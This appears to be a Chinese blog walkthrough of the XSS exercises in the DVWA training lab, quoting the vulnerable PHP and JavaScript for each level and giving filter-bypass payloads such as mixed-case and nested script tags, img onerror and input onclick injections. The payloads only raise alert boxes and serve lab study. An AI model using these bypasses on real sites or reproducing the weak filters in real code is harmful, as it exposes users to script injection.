前言
DVWA靶場都不陌生,最新學習xss,從新又搞了一遍xss部分,從源碼方面康康xss的原因,參考了很多大佬的博客表示感謝
更多web安全知識歡迎訪問:https://lmg66.github.io/
環境配置
官網:http://www.dvwa.co.uk/
下載地址:https://github.com/ethicalhack3r/DVWA
下載方式:zip下載或git https://github.com/ethicalhack3r/DVWA
下載完成放入http服務下即可
我使用的是phpstudy下載地址:https://m.xp.cn/
反射性xss
級別low
查看源碼:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
分析
name變量沒有過濾,直接輸出
payload
/vulnerabilities/xss_r/?name=<script>alert('xss')<%2Fscript>#
級別:Medium
查看源碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
分析
這里用正則表達過濾<scr/ipt>標簽,正則的匹配有缺陷大小問題,而且只是匹配了一次可以嵌套,而且只是過濾<scr/ipt>還可以用其他標簽代替來觸發反射性xss
payload
vulnerabilities/xss_r/?name=<Script>alert('xss')<%2FScript>#
vulnerabilities/xss_r/?name=<img+src%3Dx+onerror%3Dalert('XSS')>#
/vulnerabilities/xss_r/?name=<s<script>cript>alert('XSS')<%2Fscript>#
級別:high
查看源碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
分析
不區分大小寫,而且通配符匹配,嵌套無法使用,可以嘗試其他標簽觸發彈窗
payload
/vulnerabilities/xss_r/?name=<img+src%3D"xss"+onerror%3Dalert('xss')>#
級別:impossible
查看源碼:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析
name變量通過htmlspecialchars()函數把預定的字符轉為HTML實體,且輸入到
標簽里,所以占時
![]()
DOM型xss
級別:low
查看源碼:
<div class="vulnerable_code_area"> <p>Please choose a language:</p> <form name="XSS" method="GET"> <select name="default"> <script> if (document.location.href.indexOf("default=") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); } document.write("<option value='English'>English</option>"); document.write("<option value='French'>French</option>"); document.write("<option value='Spanish'>Spanish</option>"); document.write("<option value='German'>German</option>"); </script> </select> <input type="submit" value="Select" /> </form> </div>
分析
lang變量通過document.location.href來獲取url,並沒有過濾就輸入到了option標簽中
payload
級別:Medium
查看源碼:
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>
分析
對default變量進行了過濾,通過stripos()函數查找<scr/ipt>在default中的位置(不區分大小寫),如果匹配到,則變為default=English,但是可以使用其他標簽來繞過,先要閉合和標簽
payload:
/vulnerabilities/xss_d/?default=English </option></select><img src=x onerror=alert('XSS')> /vulnerabilities/xss_d/?default=English<input onclick=alert('XSS') />
級別:high
查看源碼:
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
分析
使用白名單,進行匹配,如果值不為就default=English,但是只是對default進行了過濾,可以使用其他變量,document.location.href來獲取url,仍然會輸出到標簽中顯示,當然也可以用注釋符號#
payload:
/vulnerabilities/xss_d/?default=English&a=</option></select><img src=x onerror=alert('XSS')> /vulnerabilities/xss_d/?default=English&a=?default=English&a=<input onclick=alert('XSS') /> /vulnerabilities/xss_d/?default=English#<input onclick=alert('XSS') /> /vulnerabilities/xss_d/?default=English#</option></select><script>alert('xss')</script>)
級別:impossible
查看源碼:
# For the impossible level, don't decode the querystring $decodeURI = "decodeURI"; if ($vulnerabilityFile == 'impossible.php') { $decodeURI = ""; }
分析:
如果是impossible難度則decodeURI="",意思就是不解碼,那么標簽就會被過濾,無法閉合標簽和創建新標簽,所以無法xss
存儲型xss
級別:low
查看源碼:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
分析:trim()函數 stripslashes() 函數 mysqli_real_escape_string() 函數只是對/類型的處理過濾轉碼,主要是對數據庫的保護並未設計的xss的內容,故可以直接xss
payload
name:Lmg66 message:<script>alert('xss')</script>
級別:medium
查看源碼:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
分析:
對name用str_replace()是區分大小寫的,可以大寫繞過,只是匹配了一次可以嵌套繞過,也可以使用其他的標簽
對message,addslashes()函數在預定字符加/,strip_tags()函數剝去字符串中HTML,XML,以及php標簽,htmlspecialchars()函數預定的函數轉換為HTML實體,基本都過濾和轉義了,所以突破name變量,name變量限制了輸出長度,要F12更改name的maxlength
payload:
name:<Script>alert('xss')</script> message:Lmg66 name:<s<script>cript>alert('xss')</script> message:Lmg66 name:<img src='xss' onerror=alert('xss')> message:Lmg66
級別:high
查看源碼:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
分析:
對message和上一個一樣,沒希望突破,對name來說preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $name )之前反射型xss見過,不區分大小寫,通配符過濾,可以使用其他標簽,name同樣限制了長度,F12改一下maxlength="100"
payload:
name:<img src='xss' onerror=alert('xss')> message:Lmg66
級別:impossible
查看源碼:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
分析:
對name和message都進行了嚴格過濾
最后歡迎訪問我的個人博客:https://lnng.top/